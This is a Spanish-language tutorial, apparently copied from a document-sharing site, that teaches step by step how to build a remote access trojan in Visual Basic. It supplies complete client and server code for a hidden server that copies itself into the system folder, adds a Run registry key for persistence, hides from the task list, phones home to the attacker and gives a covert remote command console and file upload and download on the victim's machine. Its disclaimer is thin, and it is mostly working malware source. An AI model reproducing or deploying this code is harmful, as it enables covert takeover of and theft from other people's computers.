Cur So Troy A No

  • May 2020
  • PDF

This document was uploaded by user and they confirmed that they have the permission to share it. If you are author or own the copyright of this book, please report to us by using this DMCA report form. Report DMCA


Overview

Download & View Cur So Troy A No as PDF for free.

More details

  • Words: 6,270
  • Pages: 18
-----------------------------------------------------------------------------| | | | | | | | | | | | | | | |

| | | | | | Logicamente lo que hagas con lo aprendido aquí es cosa tuya, este testo no | fomenta a cometer delitos informaticos, lo que se pretende es enseñar, pero | por favor, no seas un capullo y no vallas por hay borrando archivos y | jodiendo pc's |aparte de ser una tonteria, no vas a ganar nada, al contrario!| | Este testo esde libre difusión, solo espero que se respeten los creditos de | su autor: Xenon.Quiero agradecer en especial a una persona que me a ayudado | mucho y me a resuelto dudas y problemas que he ido teniendo, y sin su ayuda, | no esistiria este manual! GRACIAS P0W3RF1Y !!!!!!!!! | | -----------------------------------------------------------------------------Este testo esta diseñado para aprender, para la gente que tiene curiosidad, para cualquier persona que tenga ganas de saber como funcionan las cosas, y para mostrar lo facil que puede ser hacer algo sin necesitar un nivel alto de conocimientos!

aver que tal me esplico y que tal os parece este minicurso de como hacer un troyano desde 0 en vb con conocimientos MINIMOS: un troyano consta fundamentalmente de 2 partes; el cliente y el servidor, entre ambos se establece una conexion para pasar datos de todo tipo, asi que lo primero que haremos es crear estos 2 programas y diseñar esa conexion, veamoslo: CLIENTE con el vb abierto y elijiendo un nuevo proyecto empezamos agregando en: PROYECTO-COMPONENTES y selecionamos microsoft winsock controls ahora se abra agregado un icono nuevo de 2 pcs ala derecha, pues le picamos y lo incluimos en el formulario. una buena idea es renombrarlo a WS para ahorrar tiempo al nombrarlo en el codigo. para configurar la conexion pondremos este codigo; añadimos un boton lo podemos llamar "escuchar" y en el evento click: Private Sub escuchar_Click() On Error Resume Next 'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo Ws.LocalPort = Text1.Text 'el puerto que empleara el winsock sera el que introduzcas en un textbox, AÑADELO Ws.Close 'ws llama al objeto winsock que hemos agregado el punto te deja elejir opciones, y la opcion close es para que cierre la conexiono el puerto abierto Ws.Listen 'deja ala escucha el puerto introducido en el textbox If Ws.State = 2 Then Label1.Caption = "Escuchando" 'si el estado del winsock es (escuchando) entonces la propiedad caption de la etiketa sera "Escuchando" asi que ya estas añadiendo un label(etiketa), esto es util para ver si de verdad esta escuchando o no, ya que si ese puerto ya estubiera abierto no te dejaria abrirlo para este programa, de ay tambien lo de ws.close antes... End Sub con este codigo ya tenemos un puerto escuchando ala espera, pero esto no es todo, ya que por muy abierto que este, si no le decimos que hacer si alguien intenta conectarse a el, no servira de nada, veamoslo:

añadimos este codigo al programa: Private Sub ws_ConnectionRequest(ByVal requestID As Long) 'cuando se intente conectar a este (servicio,puerto,socket,o etc..) recojera su ip y ejecutara el siguiente codigo: On Error GoTo error 'si ay un error ves ala etiketa (error) Ws.Close 'necesario para aceptar la conexion Ws.Accept requestID 'acepta cualquier conexion entrante Label3.Caption = Ws.RemoteHostIP 'añades otra etiketa y esto hara ke te ponga la ip remota del servidor Shell "c:\ki.bat" 'esto ejecuta un archivo, yo lo puse para que ejecutase un sonido y asi coscarme de cuando se me conecta la victima, osea el servidor Timer1.Interval = 3000 '3 segunditosss, sobra decir que tienes que añadirlo asi que ahora sere mas concreto por que ya presupongo que as aprendido algo de vb de la revista, o con solo averlo visto por encima y jugueteado un poco con el , entenderas todo lo que digo, y sino ya pregunhtareis error: End Sub ahora ya se establece una conexion cuando el servidor intente conectar a el puerto elejido en el textbox! esto es el codigo del evento timer y asi entendereis que pinta ese temporizador Private Sub Timer1_Timer() 'al pasar 3 segundos de establecerse la conexion On Error GoTo error If Not Ws.State = 7 Then 'si el estado de la conexion no es (conectado) entonces que me ponga en una etekita "Desconectado" Label1.Caption = "Desconectado" Else End If If Ws.State = 7 Then Label1.Caption = "Conectado" Else End If If Label1.Caption = "Desconectado" Then 'si pone desconectado en el label, entonces ejecuta lo de la etiketa puente,"cerrar y volver a escuchar" Label1.Caption = "Desconectado" GoTo puente Else End If GoTo error 'puentea y se salta el cierre y vuelta a escuchar la conexion, para que seguir normalmente con la conexion establecida puente: Ws.Close Ws.Listen error: End Sub ahora que ya tenemos lo basico de el cliente, nos falta como pide conectar el servidor, veamoslo: SERVIDOR que decir que esto significa volver a abrir otra vez el vb y volver a iniciar un proyecto nuevo y un form estandar...esto es otro programa! en el evento load del formulario:, que porcierto teneis que ir a las propiedades

y ponerle la propiedad visible a FALSE, para que no de el cantazo: Private Sub Form_Load() dim ip as string, ipftp as string, port as integer,Dim ejec As String 'declaramos estas variables , si las declarais en el general mejor Dim win Dim sys Dim residencia On Error Resume Next ip = "127.0.0.1" 'esta es nuestra ip local, asi que conectara a nuestra ip local, aqui se pondria nuestra ip publica, y si cambia pues os registrais en no-ip.com y si habeis leido la revista no tendreis problemas ipftp = "o 127.0.0.1" port = 6969 WS.RemoteHost = ip WS.RemotePort = port Timer1.Interval = 60000 'se esteblace un intervalo de 3 segundos para ejecutar el evento timer1 ejec = App.path 'le pasamos a la variable la ruta del exe que ejecute la victima If Right(ejec, 1) <> "\" Then ejec = ejec & "\" 'si no tiene la "\" al final, se la añadiremos ejec = ejec & App.EXEName & ".exe" 'añadimos ala ruta del exe, el nombre y la estension Set obj = CreateObject("Scripting.FileSystemObject") 'declaramos un objeto tipo fileSystem object Set win = obj.GetSpecialFolder(0) 'para obtener la carpeta de windows y system Set sys = obj.GetSpecialFolder(1) win = LCase(win) 'las ponemos en minusculas sys = LCase(sys) FileCopy ejec, sys & "\nombre1" 'copia a windows\system32 Name sys & "\nombre1" As sys & "\nombre2.exe" 'renombra Set residencia = CreateObject("WScript.Shell") residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "nombre3", sys & "\nombre2.exe" 'esto modifica el registro para que se ejecute al iniciar el pc App.TaskVisible = False 'para ocultarlo un poco del, (alt +sup +control) End Sub ahora el evento timer1 que es lo que llamara a conectar con el cliente y establecera el canal de datos, ya falta poco... Private Sub Timer1_Timer() 'cuando pasan 60 segundos On Error GoTo Error If Not WS.State = 7 Then Call cmdok_Click 'llama al evento click del boton cmdok si no ay conexion establecida If WS.State = 7 Then Label3.Caption = "conectado" Else Label3.Caption = "desconectado" ' ya esplicado Error: End Sub boton cmdok: Private Sub cmdok_Click() On Error GoTo Error If Not WS.State = 7 Then GoTo puente 'si no ay conexion cierra, CONECTA ala ip puesta en la variable ipy po rel puerto puesto en la variable port GoTo Error puente:

WS.Close WS.Connect Error: End Sub ya esta hasta aqui yo creo que lo he esplicado medianamente legible, ahora ya sabeis crear un canal de datos y un cliente y un servidor, pero faltan unos pequemños detalles mas: pasamos al cliente y creamos un boton y una caja de testo, en el evento click del boton ponemos: ws.senddata text2.text, y asi una vez conectado con el servidor, lo veras que pondra conectado donde hallas puesto la etiketa aquella, te acuerdas? entonces ya puedes pasarle datos al servidor, escribes el dato en la caja de testo y le das al boton que acabas de poner para tal efecto. :D ahora vamos al servidor otra vez y en el evento LLEGADA DE DATOS del winsock ponemos: Private Sub WS_DataArrival(ByVal bytesTotal As Long) 'en la llegada de datos On Error GoTo Error dim datos as string ws.getdata datos 'metemos en la variable datos los datos que nos lleguen if datos = "paint" then shell ("mspaint") ' si los datos eran = a "paint" entonces ejecuta el paint end sub con esto vemos que si en el cliente le enviamos la palabra paint poniendola en el textbox y dandole al boton ke la envia, vemos que en el servidor se le ejecutara el paint, y con esto ya tienes un troyano muy sencillito, ahora a poco que investigues te lo puedes currar como yo, por hoy ya vale.con imaginacion, haces lo que quieras xenon

-------------------------------------------------------------------------------|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| --------------------------------------------------------------------------------

Bueno, se podria decir que esta es la segunda parte de este minicurso... Hoy veremos como programar una consola virtual y acoplarla al troyano, algo muy versatil y con la cual ya tendrias todo el poder suficiente para hacer lo que quieras en la victima. Empiezo con este codigo y lo comentamos: en el servidor ( archivo que es ejecutado en el pc victima ) : Private Sub cmdfin_Click() su evento CLICK:

'añadimos un boton, yo lo he llamado cmdfin...y en

ruta = "C:\" 'le ponemos ala variable ruta, la direccion donde se guardara un archivo que necesitamos, contra mas escondida sea la ruta mejor!! c:\ es un mal ejemplo...pero asi empece yo Open ruta & "fox.bat" For Output As #1 'abre un archivo llamado fox.bat en el canal 1...la opcion output sobreescribe el contenido completo del archivo, si

pusieras append lo añadiria al final. esto es mucho royo pero asi se aprenden mas cosa, no? Print #1, datos & ">" & ruta & "fox.txt" 'aqui coje primero la variable datos y su contenido lo mete en ese archivo .bat, luego el caracter > es para que junto ala "RUTA" y al nombre "FOX.TXT" nos saque el resultado del comando en ese archivo de testo "fox.txt", se entiende perfectamente pero lo esplicare lo mejor que pueda, esto es un archivo .bat osea un archivo que se puede abrir con un block de notas y en el que poder insertar comandos de msdos y sera ejecutado como un .exe, sin compilar ni ostias. asi que la idea es poner el comando y la salida redireccionarla a un archivo de testo que cojeremos y lo leeremos en nuestro cliente para ver el resultado de nuestros comandos Close #1 ' cierra el archivo Shell ruta & "fox.bat", vbHide comando escrito dentro.

'ejecuta el archivo que lleva el

Open ruta & "fox.txt" For Input As #1 ' aqui abre el archivo de testo para poder lmeter su contenido en una variable STRING ya que almacenara una cadena de caracteres. comando = Input(LOF(1), #1) que es la salida del comando

'mete el archivo de testo en esta variable,

Close #1 ' cierra Call mostrar_Click

' esto llama a un boton que esplico luego

End Sub en el cliente con poner una caja de testo donde introducir los comandos y un boton de enviar ya estaria hecho.esto ya lo hicimos en el primer capitulo de este tutorial. private sub boton_click text.text = datos winsock.senddata datos end sub

ahora el boton del servidor que estaba puesto alfinal del primer codigo que he puesto: Private Sub mostrar_Click() On Error GoTo Error 'si ocurre un error salta ala etiketa error Winsock.SendData comando 'simplemente envia la salida del comando intruducido al cliente! Error: End Sub bien, ahora toca una parte peliaguda, un problema que he solventado chapuceramente, pero funciona, lo esplico, y cada vez lo ire esplicando menos concienzudamente por que dare por sentado que ya se tiene un cierto nivel y una cierta soltura: SERVIDOR Private Sub WS_DataArrival(ByVal bytesTotal As Long) 'en la llegada de datos

On Error GoTo Error WS.GetData datos 'los datos entrantes se ponen en variable datos, recordar declararla como STRING, dim datos as string en el general por ejemplo. If datos = "a" Then bin1 = true If bin1 = false And datos <> "a" Then Call cmdfin_Click If bin1 = true And datos <> "a" Then Call bin_Click Error: End Sub como interpreta el servidor los datos que le mandas de pendiendo de un comando especial "a": es mas sencillo de lo que parece: en un caso normal alo primero de hacerlo el codigo de arriba estaba sin esto: If datos = "a" Then bin1 = true If bin1 = false And datos <> "a" Then Call cmdfin_Click If bin1 = true And datos <> "a" Then Call bin_Click y en su lugar simplemente llamaba al boton cmdfin_click, para ejecutar el comando en la victima y que nos devolviera la respuesta como he esplicado arriba. que pasa? pues que ala hora de poner esto por ejemplo como comando: echo msgbox "has sido hackeado">c:\hack.vbs en verdad estabas poniendo esto otro! echo msgbox "has sido hackeado">c:\hack.vbs>c:\fox.txt con lo cual no me creaba el archivo hack.vbs y no funcionaba el comando como yo queria, por que a todo comando se le añade >c:\fox.txt para que ponga la salida del comando en un archivo de testo para que te envie el resultado de un "dir c:\" por ejemplo. que hice? pues puse en estas lineas If datos = "a" Then bin1 = true If bin1 = false And datos <> "a" Then Call cmdfin_Click If bin1 = true And datos <> "a" Then Call bin_Click que si el comando que envia es solo una simple "a", una variable que uso a modo de interruptor "bin1" se pone a true que ejecute el boton bin_click , y mientras los datos no sean una "a" el comando especial que eleji ,bin1 tienes que declararla como BOOLEAN!! y el boton bin_click esta asi: Private Sub bin_Click() ruta = "C:\" Open ruta & "fox.bat" For Output As #1 Print #1, datos Close #1 Shell ruta & "fox.bat", vbHide bin1 = false ' reestablece el interruptor virtual a apagado, false End Sub parecido al cmdfin_click pero sin que te ponga el ">c:\fox.txt" al final, asi ejecuta el comando LIMPIO y tal y como tu lo mandas ejecutar, con la unica

condicion de que no podras ver el resultado de ese comando, no tellegara la respuesta, no sabras si se ejecuto o no, pero eso tampoco es mucho problema. asi ahora podemos interpretar este codigo tan extraño: If datos = "a" Then bin1 = true If bin1 = false And datos <> "a" Then Call cmdfin_Click If bin1 = true And datos <> "a" Then Call bin_Click

si datos = a entonces la variable bin1 es = true ' hemos mandado el comando a y ahora es como si hubieramos activado un interruptor y cambia la forma de ver al siguiente comando: si el interruptor no esta activado y los datos no son una (a) entonces ejecuta el comando con la salida de regreso al cliente si el interruptor esta activado y los datos son cualquiercosa menos una (a) entonces ejecuta el comando LIMPIO tal y como lo escribes,pero sin respuesta al cliente al ejecutar el comando limpio el interruptor se vuelve a poner a bin1 = false osea desactivado, asi en cada comando que quieras poner limpio as de mandar una -a- antes! lo esplico demasiado para torpes pero! ami me hubiera gustado que me esplicasen asi muchas cosas que puedo ver raras! sorry para los demas que les parece que estoy perdiendo el tiempo haciendo esto! ya esta lista la funcion de consola, ( chapucera pero funcional ) aclaraciones!!!! en el cliente as de poner tambien una caja de testo para ver el resultado con la propiedad de MULTIINEA! que os pasara como ami! lo pones en multilinea en las propiedes de la derecha, selecionas el text y cambias esa propiedad a true aparte de la caja de testo en el formulario as de poner este codigo para ver en esa caja la respuesta: Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) 'llegan datos On Error GoTo error Winsock1.GetData datos 'datos en datos Text2.Text = datos '<---------------------esto de aqui es para verlo!! error: End Sub a disfrutarlo con salud! hoy mismo o mañana publico la tercera parte, como enviar y cojer archivos de la victima, esplicare 2 metodos el que usaba yo hasta ahora y el profesional Tongue que he aprendido hace muy poco. un saludo!, Xenon alias [email protected] -------------------------------------------------------------------------------|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| --------------------------------------------------------------------------------

POSDATA DE EL ARTICULO DE LA CONSOLA! lo que hicimos en la segunda parte del curso fue una consola virtual, lo llamo virtual por que quiero dejaros claro un defecto que tiene. y es que no es interactiva, esto significa que si le mandas un comando y la respuesta del comando es por ejemplo: ¿Esta seguro que desea borrar el archivo? SI/NO pues en esta situacion no podremos responder y se quedaria esa ventana ala espera de una respuesta, pero siempre oculta al añadirle el parametro ,VBHIDE al usar el comando SHELL, si no os acordais revisarlo! al intentar responder se crea una nueva ventana con el comando si, o no, y ese comando a secas no tendria sentido si no se pone en la misma ventana donde se introdujo el primer comando que genero esa respuesta en forma de pregunta. esto es algo que debereis estudiar y correjir vosotros ,investigando por ay, seria un buen ejercicio!! voy a poner una serie de cosas que os ayudaran en el manejo de la consola, tales como ver los PROCESOS, matarlos, y ver el registro y modificarlo añadiendo nuevas claves, etc...: -----------------------PROCESOS---------------------------esto funciona bajo win xp: MOSTRAR PROCESOS tasklist MATAR PROCESOS taskkill /pid numero /f ------------------------REGISTRO-----------------------AÑADIR CLAVE EN EL REGISTRO REG ADD clave [/v nvalor | /ve] [/t tipo] [/s separador] [/d datos] [/f] clave

[\\equipo\]tclave Equipo nombre del equipo remoto. Si se omite se usa el equipo actual. Sólo HKLM y HKU están disponibles para equipos remotos. tclave CLAVERAIZ\subclave CLAVERAIZ [ HKLM | HKCU | HKCR | HKU | HKCC ] subclave Nombre completo de una clave de registro en la CLAVERAIZ seleccionada.

/v

Nombre del valor en la clave seleccionada para agregar

/ve

Agrega el nombre de valor vacío <sin nombre>

/t

Tipos de datos de clave de registro [ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN | REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN | REG_NONE | REG_EXPAND_SZ ] Si se omite, se asume REG_SZ

/s

Especifica el carácter que usa como separador en su cadena

de datos para REG_MULTI_SZ. Si se omite, se usa "\0" como separador /d

Datos que se asignan a nvalor del registro que se agrega

/f

Fuerza la sobrescritura de entradas de registro existentes sin avisar.

Ejemplos: REG ADD \\ABC\HKLM\Software\MiCo Agrega una clave HKLM\Software\MiCo en el equipo remoto ABC REG ADD HKLM\Software\MiCo /v datos /t REG_BINARY /d fe340ead Agrega un valor (nombre: datos, tipo: REG_BINARY, datos: fe340ead) REG ADD HKLM\Software\MiCo /v MRU /t REG_MULTI_SZ /d fax\0mail Agrega un valor (nombre: MRU, tipo: REG_MUTLI_SZ, datos: fax\0mail\0\0) REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%% Agrega un valor (nombre: Path, tipo: REG_EXPAND_SZ, datos: %systemroot%) Nota: use porcentaje doble ( %% ) dentro de la cadena expandida Herramienta de registro de consola para Windows - versión 3.0 Copyright (C) Microsoft Corp. 1981-2001. Reservados todos los derechos BORRAR CLAVE REG DELETE clave [/v nvalor | /ve | /va] [/f] clave equipo

[\\equipo\]tclave Nombre del equipo remoto. Si se omite se usa el equipo actual. Sólo están disponibles HKLM HKU en equipos remotos. tclave CLAVERAIZ\subclave CLAVERAIZ [ HKLM | HKCU | HKCR | HKU | HKCC ] subclave Nombre completo dela clave de registo en la CLAVERAIZ seleccionada. nvalor Nombre de valor para borrar en la clave seleccionada. Si se omite, eliminarán todas las subclaves y valores en la clave seleccionada. /ve Elimina el valor de un nombre de valor vacío <sin nombre> /va Elimina todos los valores en la clave actual /f Fuerza la eliminación sin avisar. Ejemplos: REG DELETE HKLM\Software\MiCo\MiAp\Timeout Elimina la clave del registro Timeout y sus respectivas subclaves y valores REG DELETE \\ZODIAC\HKLM\Software\MiCo /v MTU Elimina el valor de registro MTU en la clave MiCo de ZODIAC Herramienta de registro de consola para Windows - versión 3.0 Copyright (C) Microsoft Corp. 1981-2001. Reservados todos los derechos LEER CLAVE REG QUERY clave [/v nvalor | /ve] [/s] clave equipo:

[\equipo\]clave Nombre del equipo remoto. Si se omite se usa el equipo actual.

clave:

/v /ve nombre> /s

Sólo están disponibles HKLM y HKU en equipos remotos. Con la forma nombre de CLAVERAIZ\subclave CLAVERAIZ [ HKLM | HKCU | HKCR | HKU | HKCC ] Subclave: Nombre completo de la clave de registro en la CLAVERAIZ seleccionada. consulta para una clave de registro específica nvalor: nombre en la clave seleccionada para consultar. Si se omite, se consultará en todos los valores de la clave. Consultar el valor predeterminado o el de nombre vacío <sin Consultar todas las subclaves y valores

Ejemplos: REG QUERY HKLM\Software\Microsoft\ResT /v Version Muestra el valor del valor Version del registro. REG QUERY HKLM\Software\Microsoft\ResT\Setup /s Muestra todas las subclaves y valores en la clave de registro Setup. con esto ya podemos hacer bastantes cosas interesantes solo usando la consola, ella te da todo el manejo del s.o, aprendelo y aprovechalo, con esto ya no necesitaria muchas mas pijadas el troyano -----------------------------------------------------------------------vamos al tema que nos ocupa :p seguimos con el troyano!! INTER CAMBIO DE ARCHIVOS subir archivos ala victima y bajar archivos de la victima voy a publicar primero el codigo y luego lo esplico concienzudamente... tendreis que estar subiendo para arriba para ver el codigo y seguir su funcionamiento, pero seguro que se entendera mejor asi: ---------------------------CLIENTE----------------------------------Dim filesize As Long, filedata As String, datos2 As String, progreso As Boolean, bytes As Long, send As Boolean Dim ext As String, path As String, nombre As String Private Sub Command1_Click() ws.RemotePort = "4444" ws.RemoteHost = "127.0.0.1" ws.Close ws.Connect End Sub Private Sub Command2_Click() cd.Filter = "Todos los archivos |*.*" cd.ShowOpen Open cd.FileName For Binary As #1 filedata = Input(LOF(1), 1) Close #1 nombre = cd.FileTitle path = InputBox("Elije la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", path) path = path & nombre filesize = Len(filedata) ws.SendData "archivo" & "|" & filesize & "|" & path End Sub Private Sub Command3_Click() Dim ruta As String

ruta = InputBox("Introduce la ruta completa del archivo remoto:", "Descargar Archivo", ruta) ws.SendData "coger" & ruta ext = Right(ruta, Len(ruta) - 4) End Sub Private Sub Form_Load() send = False progreso = False End Sub Private Sub Timer1_Timer() If ws.State = 7 Then Label1.Caption = "Conectado" Else Label1.Caption = "Desconectado" End Sub Private Sub ws_DataArrival(ByVal bytesTotal As Long) On Error Resume Next Dim datos As String ws.GetData datos If datos = "enviar" Then progreso = True ws.SendData filedata End If If datos = "recibido" Then 'ws.SendData "cierra" End If If Left(datos, 7) = "archivo" Then send = True filesize = Mid(datos, 8) ws.SendData "enviar" datos2 = "" Else If Len(datos2) <> filesize And send = True Then datos2 = datos2 + datos pb.Min = 0 pb.Max = filesize pb.Value = Len(datos2) pb.Refresh End If If Len(datos2) = filesize And send = True Then ws.SendData "recibido" pb.Value = 0 cd.Filter = "Archivos " & ext & "| *" & ext cd.FileName = "" cd.ShowSave Open cd.FileName For Binary As #1 Put #1, 1, datos2 Close #1 End If End If End Sub Private Sub WS_SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long) If progreso = True Then pb.Min = 0 pb.Max = filesize bytes = bytes + bytesSent pb.Value = bytes pb.Refresh If filesize = bytes Then pb.Value = 0

MsgBox "Archivo enviado con éxito" bytes = 0 progreso = False End If End If End Sub ---------------------SERVIDOR---------------------------Dim filesize As Long, datos2 As String, filedata As String, send As Boolean, path As String Private Sub Form_Load() send = False ws.LocalPort = "4444" ws.Close ws.Listen End Sub Private Sub Timer1_Timer() If ws.State = 7 Then Label1.Caption = "Conectado" Else Label1.Caption = "Desconectado" End Sub Private Sub ws_ConnectionRequest(ByVal requestID As Long) ws.Close ws.Accept requestID End Sub Private Sub ws_DataArrival(ByVal bytesTotal As Long) On Error Resume Next Dim datos As String, dato As Variant ws.GetData datos If datos = "enviar" Then ws.SendData filedata End If If datos = "recibido" Then 'ws.SendData "cierra" End If If Left(datos, 7) = "archivo" Then send = True dato = Split(datos, "|") filesize = dato(1) path = dato(2) ws.SendData "enviar" datos2 = "" Else If Len(datos2) <> filesize And send = True Then datos2 = datos2 + datos End If If Len(datos2) = filesize And send = True Then ws.SendData "recibido" Open path For Binary As #1 Put #1, 1, datos2 Close #1 End If End If If Left(datos, 5) = "coger" Then datos = Mid(datos, 6) Open datos For Binary As #1 filedata = Input(LOF(1), 1)

Close #1 filesize = Len(filedata) ws.SendData "archivo" & filesize End If End Sub empezamos! necesitamos añadir los componentes microsoft commond dialog control, microsoft windows commond controls y el componente winsock control, para cliente y servidor; para el cliente ademas: 3 botones, una barra de progreso, el winsock el common dialog , un timer y un label; en el servidor: un label, un timer y el winsock. ----------------------------------------------------------------------1- una vez que se establece la conexion por el puerto especificado en el codigo y etc... queda el servidor listo a la espera de que el cliente le pide un archivo, o le mande un archivo. 2- el cliente manda un archivo a el servidor: "cd" es el nombre que le e dado yo al commonddialog! cd.Filter = "Todos los archivos |*.*" 'especifica que el cd muestre cualquier tipo de archivo. cd.filter = "lo que quieras poner | *.extension" cd.ShowOpen

'esto indica que muestre un cuadro para poder abrir un archivo

Open cd.FileName For Binary As #1 filedata = Input(LOF(1), 1) Close #1 estas 3 lineas ya se vio lo que significan, solo que aqui se abre el archivo en modo binario y el contenido del archivo se mete en la variable filedata, la ruta al archivo la coje dependiendo de el archivo que elejiste en el cuadro de dialogo, por estas funciones tan cucas, es muy util el commond dialog, muchisimos programas lo usan, y da un aspecto elegante a tu programa :P esplicare unas pequeñas cosas del commond dialog: cd.showopen 'hace que te muestre el dialogo para ejelir un archivo cd.showsave ' lo mismo pero para guardarlo cd.filename ' es la ruta COMPLETA de el archivo cd.filetitle ' es solo el nombre del archivo elejido y su estension cd.filter 'se pone antes de cd.showopen/save, para especificar a nuestro gusto que archivos se mostraran nombre = cd.filetitle ' ahora esto ya sabeis para que es XD path = InputBox("Elije la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", path) la variable path tendra el resultado de el inputbox, y el inputbox te dice: inputbox ("testo que quieras poner" & vbcrlf & "lo que quieras", "titulo del inputbox",variable donde se guardara lo introducido en el, es importante saber que vbcrlf sirve a modo de INTRO, de retorno de carr para escribir una nueva linea abajo de la otra, y despues de la primera coma va el titulo y en la segunda la variable: inputbox ("mensaje","titulo",variable) path = path & nombre de nombre

'

el caracter & concatena el valor de path con el valor

filesize = Len(filedata) 'la variable de tipo LONG filesize sera = a el tamaño de la variable STRING filedata, osea que la variable filesize contendra

el numero de bytes que pesa el archivo! ws.SendData "archivo" & "|" & filesize & "|" & path "archivo|56423|c:\windows\calc.exe"

'envia al servidor esto:

por que e añadido el caracter | entre medio? pronto lo vereis! y el codigo seria el siguiente: Private Sub Command2_Click() cd.Filter = "Todos los archivos |*.*" cd.ShowOpen Open cd.FileName For Binary As #1 filedata = Input(LOF(1), 1) Close #1 nombre = cd.FileTitle path = InputBox("Elije la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", path) path = path & nombre filesize = Len(filedata) ws.SendData "archivo" & "|" & filesize & "|" & path End Sub ahora nos vamos al servidor al evento llegada de datos! ws.GetData datos ' ya visto anteriormente If Left(datos, 7) = "archivo" Then 'si los 7 primeros caracteres de la izquierda de datos, = "archivo" entonces: send = True 'este interruptor se enciende dato = Split(datos, "|") 'la variable DATO es de tipo VARIANT y sera = a partir datos por el caracter "|" os acordais de esto? yo dividi en 3 trozos lo que mande al servidor: 1ª la palabra archivo 2ª el tamaño del archivo 3ª una ruta. Bien pues aqui split lo que hace es buscar el caracter | y meter en la variable dato los 3 trozos separados, por que hace como una matriz de esa variable, el primer cacho sera = dato(0) , el segundo fragmento sera = a dato(1) y el tercero dato(2), siempre empieza l index de dato por cero. en este caso es una sola variable con 3 datos diferentes, quizas sea un poco lio, re leerlo y comprenderlo, por que es muy util esto filesize = dato(1) path = dato(2) ws.SendData "enviar" 'aqui le manda el dato enviar, al cliente y el cliente al recibirlo MANDA al SERVIDOR el ARCHIVO por que de momento el cliente solo habia mandado unos datos necesarios, antes de empezar a enviar el archivo. datos2 = ""

Else `cuando el proximo deto que llegue y no empiece por "archivo" se ejecutara estas instruciones: If Len(datos2) <> filesize And send = True Then datos2 = datos2 + datos End If 'si el tamaño de la variable string datos2(que sera la que recoja el archivo!)

no es igual al tamaño total del archivo entonces que los datos que hallan llegado se metan en la variable datos2, y si llega otro pues que se sume, asi el archivo datos2, a cada paquete que le llegue se ira sumando, por que al enviar el archivo por paquetes, estos los tenemos que juntar todos de alguna manera para formar el archivo original y cuando el tamaño de datos2 sea = al tamaño que tiene que tener, el tamaño total, cuando eso pase se ejecutara lo siguiente : If Len(datos2) = filesize And send = True Then ws.SendData "recibido" 'manda una señal como que se a recibido Open path For Binary As #1 Put #1, 1, datos2 Close #1 y aqui abre un archivo en la ruta que le especificaste en el inputbox del cliente y mete la variable datos2, osea el archivo! ya esta lo hemos logrado! XD End If End If el codigo entero lleerlo y intentar verlo y comprenderlo todo, por que os lo acabo de esplicar!: Private Sub ws_DataArrival(ByVal bytesTotal As Long) On Error Resume Next Dim datos As String, dato As Variant ws.GetData datos If Left(datos, 7) = "archivo" Then send = True dato = Split(datos, "|") filesize = dato(1) path = dato(2) ws.SendData "enviar" datos2 = "" Else If Len(datos2) <> filesize And send = True Then datos2 = datos2 + datos End If If Len(datos2) = filesize And send = True Then ws.SendData "recibido" Open path For Binary As #1 Put #1, 1, datos2 Close #1 End If End If End Sub 3- el cliente coje un archivo del servidor cliente Private Sub Command3_Click() Dim ruta As String ruta = InputBox("Introduce la ruta completa del archivo remoto:", "Descargar Archivo", ruta) ws.SendData "coger" & ruta ext = Right(ruta, Len(ruta) - 4) 'coje los 4 ultimos caracteres de la variable ruta

End Sub me niego a esplicarlo mas por que es lo mismo que el otro, simplemente ese boton te pide la direccion del archivo remoto y le dice al servidor que te lo mande servidor si los primeros caracteres de los datos entrantes son: coger, entonces el resto del contenido de los datos entrantes (osea la ruta!!) se use para abrir un archivo en esa ruta y introducir en una variable el contenido de ese archivo. If Left(datos, 5) = "coger" Then datos = Mid(datos, 6) Open datos For Binary As #1 filedata = Input(LOF(1), 1) Close #1 filesize = Len(filedata) ws.SendData "archivo" & filesize 'aqui no mando el path por que el sitio donde tu lo quieras guardar te dejara elejirlo el commond dialog! End If ahora el procedimiento es el mismo que antes, salvo que al reves, el servidor manda y el cliente recibe, pero con el mismo protocolo que anteriormente! If Left(datos, 7) = "archivo" Then send = True filesize = Mid(datos, 8) ' coger el tamaño apartir de el 8 caracter de la variable datos ws.SendData "enviar" datos2 = "" Else If Len(datos2) <> filesize And send = True Then datos2 = datos2 + datos pb.Min = 0 'pb es el nombre de la barra de progreso y le ponemos como minimo cero,es evidente! pb.Max = filesize

' el valor maximo de la pb sera el tamaño de el

archivo! pb.Value = Len(datos2) ' el valor actual de la pb sera el tamaño de el archivo actualemnte almacenado pb.Refresh 'refresca End If If Len(datos2) = filesize And send = True Then ws.SendData "recibido" pb.Value = 0 ' el valor de pb es cero por que ahora ya se a completado el archivo cd.Filter = "Archivos " & ext & "| *" & ext 'aqui ponemos la variable ext, en el filtro,la extension la cogia al indicarle la ruta del archivo de la victima para coger cd.FileName = "" dialogo de guardar

'para que no nos marque ningun nombre al abrir el

cd.ShowSave ' abre el dialogo de guardar Open cd.FileName For Binary As #1 'abre la ruta con el nombre elejido

